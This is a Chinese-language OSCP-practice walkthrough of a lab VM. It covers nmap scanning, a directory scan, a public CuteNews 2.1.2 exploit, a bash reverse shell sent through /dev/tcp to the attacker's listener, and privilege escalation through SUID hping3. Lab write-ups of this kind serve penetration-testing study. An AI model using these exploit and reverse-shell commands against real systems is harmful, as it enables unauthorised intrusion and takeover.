因为oscp认证 是kali自己的 官方要求使用kali系列进行考试，所以要熟悉这玩意，像msf这种自动化的框架好像还不能使用，限制某些工具。
信息收集
虚拟机上仅主机网络
扫描 192.168.56.0/24
# 快速探测存活主机 nmap -sP 192.168.56.0/24 # 快速扫描端口 nmap -sV 192.168.56.3 -p1-65535
发现了 80 88 22端口
老样子，先访问80 88。
http://192.168.56.3/ http://192.168.56.3:88/
一个是apache默认页面 另一个404
目录扫描
发现80端口存在文件
python dirsearch.py http://192.168.56.3/
插件未识别出框架
但是下面的power by 存在网站指纹
根据cmd指纹，搜索历史漏洞
漏洞攻击
searchsploit CuteNews 2.1.2通过搜索引擎也可以获取exp 在github上
python /usr/share/exploitdb/exploits/php/webapps/48800.py
报错了 查看源码 发现默认访问index.php不需要添加cutenews 所以url = f"{ip}/CuteNews/cdata/users/lines" 去掉所有的CuteNews
脚本帮忙注册了一个账号，然后获取了一个shell 但权限是www
反弹shell
kali监听nc -lvnp 8080 shell执行echo 'bash -i >& /dev/tcp/192.168.56.4/8080 0&>1' |bash
常规思路的话 flag在root目录下，但现在权限较低，需要提权。也有可能普通用户一个flag root用户一个flag
权限提升
sudo -l 查看权限列表
或者使用find提权
find / -perm -u=s -type f 2>/dev/null
使用hping3 进行提权
# 先获取python的shell bash反弹的shell # 默认权限问题输入sudo 不会弹出密码框而是直接退出 python3 -c "import pty;pty.spawn('/bin/sh')"
直接输入 hping3whoamiroot
获取flag
这是root用户的，那普通用户应该也会有
